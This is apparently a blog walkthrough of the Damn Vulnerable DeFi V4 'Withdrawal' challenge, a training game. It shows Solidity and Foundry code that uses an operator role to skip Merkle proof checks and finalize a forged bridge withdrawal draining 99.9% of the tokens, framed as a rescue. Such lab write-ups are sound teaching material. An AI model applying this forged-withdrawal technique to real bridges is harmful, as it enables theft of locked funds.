Damn Vulnerable DeFi V4 New Challenge Solution Walkthrough: Withdrawal — Part 2
Spoiler alert: Don’t read beyond this point if you haven’t tried the challenge yet. I recommend enjoying it yourself first!
I hope you’ve enjoyed the Withdrawal challenge so far and had a chance to examine the log file to identify the suspicious withdrawal. If not, Part 1 of this post might be helpful.
The third withdrawal is suspicious since it attempts to withdraw 999,000e18
DVT from the bridge, which is 99.9% of the bridge’s total value locked (TVL). Fortunately, each withdrawal must wait for a 7-day period before it is finalized. It’s time to rescue the fund locked in the bridge before that suspicious withdrawal gets finalized.
The goal of the challenge is to finalize all withdrawals, including the suspicious one, on L1 while the token bridge still holds the majority of the tokens.
Step 2: Analyze the smart contracts and rescue the fund in the bridge
We will now analyze the withdrawal workflow in a bottom-up manner by starting from the last function call in the log data.
TokenBridge.executeTokenWithdrawal
: This is the only function that allows withdrawing tokens from the bridge. However, the function requires that its caller is either thel1Forwarder
or that the message’s sender at the L2 side is the L2 bridge. As we are working on the L1 side, let’s focus on the former condition and we will examine the contractL1Forwarder
of thel1Forwarder
next.L1Forwarder.forwardMessage
: This function allows calling a function from atarget
contract — in our case,target
isl1TokenBridge
, an instance ofTokenBridge
. This function can be called by anyone if the given message failed to execute previously. Otherwise, in the message’s first execution, when it has neither failed nor succeeded, only thegateway
can call the function, provided that thegateway
‘s L2 sender isl2Handler
. We will examine the contractL1Gateway
next.L1Gateway.finalizedWithdrawal
: This is where an L2 withdrawal gets finalized on L1, provided it meets the function’s requirements. First, the 7-day waiting period from when the withdrawal was initiated on L2 must have passed. Second, the withdrawal ID must be successfully verified as a leaf in the Merkle tree of the givenroot
, using the providedproof
. However, if the caller has an operator role, the verification is bypassed. This privilege can be used to rescue the bridge, as ourplayer
holds that role.
As we can bypass the Merkle verification with the operator role, my initial idea was to modify the suspicious withdrawal’s message
to either redirect its target from l1TokenBridge
or change its amount. However, because message
is part of the withdrawal ID, we cannot modify it. Otherwise, we are finalizing another withdrawal, not the suspicious one.
The second idea is to allow the player to finalize a “fake” withdrawal that was not initiated from L2, in order to withdraw most of the tokens from the bridge. We would keep a small amount of tokens in the bridge to fulfill the legitimate withdrawals. We then call finalizeWithdrawal
with appropriate arguments as follows:
l1Gateway.finalizeWithdrawal({
nonce: 0,
l2Sender: l2Handler,
target: address(l1Forwarder),
timestamp: block.timestamp - 7 days,
message: message,
proof: new bytes32[](0)
});
timestamp
is equal toblock.timestamp — 7 days
to meet the first requirement of the 7-day waiting period.target
isl1Forwarder
andl2Sender
isl2Handler
to satisfy the requirements inL1Forwarder.forwardMessage
.proof
is empty since the Merkle proof verification is bypassed.- We now build the
message
argument, which encodes a function call toL1Forwarder.forwardMessage
with arguments:
bytes memory message = abi.encodeCall(
L1Forwarder.forwardMessage,
(
0, // nonce
player, // "fake" l2Sender
address(l1TokenBridge), // target
abi.encodeCall( // message
TokenBridge.executeTokenWithdrawal,
(
player, // receiver
(token.balanceOf(address(l1TokenBridge)) * 99.9e18) /
100e18 // amount
)
)
)
);
- The forwarded message within
message
encodes a function call toTokenBridge.executeTokenWithdrawal
, where the receiver isplayer
and the amount is 99.9% ofl1TokenBridge
‘s balance. The remaining balance of the bridge will be only sufficient for legitimate withdrawals.
The bridge’s fund is now safe in the player
account. Next, we will finalize the L2 withdrawals once their waiting periods have elapsed. We cannot finalize them earlier because their timestamps are included in their IDs. In Foundry, we can use the cheat code vm.warp
to set block.timestamp
to a new timestamp that is 7 days after the timestamp of the last withdrawals. Note that the function L1Gateway.finalizedWithdrawal
does not consider the results of the inner function calls, it always marks the withdrawal as finalized, regardless of the outcome.
We can call finalizeWithdrawal
for each withdrawal using arguments manually obtained from the withdrawal’s event log (see Part 1). However, it is more convenient to parse the given JSON log file into Solidity structs. This can be done as follows:
struct Log {
bytes data;
bytes32[] topics;
}
struct Withdrawal {
uint256 nonce; // indexed
address caller; // indexed
address target; // indexed
bytes32 id;
uint256 timestamp;
bytes data;
}
function _loadWithdrawals(
string memory path
) private view returns (Withdrawal[] memory withdrawals) {
// Parse JSON into an array of Log.
Log[] memory logs = abi.decode(
vm.parseJson(vm.readFile(string.concat(vm.projectRoot(), path))),
(Log[])
);
uint256 _length = logs.length;
withdrawals = new Withdrawal[](_length);
for (uint256 i; i < _length; ) {
Log memory log = logs[i];
// Decode data into non-indexed arguments.
(bytes32 id, uint256 timestamp, bytes memory data) = abi.decode(
log.data,
(bytes32, uint256, bytes)
);
Withdrawal memory _withdrawal = Withdrawal({
// Indexed arguments obtained from topics.
nonce: uint256(log.topics[1]),
caller: address(uint160(uint256(log.topics[2]))),
target: address(uint160(uint256(log.topics[3]))),
// Non-indexed arguments decoded from data.
id: id,
timestamp: timestamp,
data: data
});
assertEq(
id,
keccak256(
abi.encode(
_withdrawal.nonce,
_withdrawal.caller,
_withdrawal.target,
_withdrawal.timestamp,
_withdrawal.data
)
)
);
withdrawals[i] = _withdrawal;
unchecked {
++i;
}
}
}
Finally, player
returns the rescued tokens to the bridge l1TokenBridge
, as the last step to complete the challenge.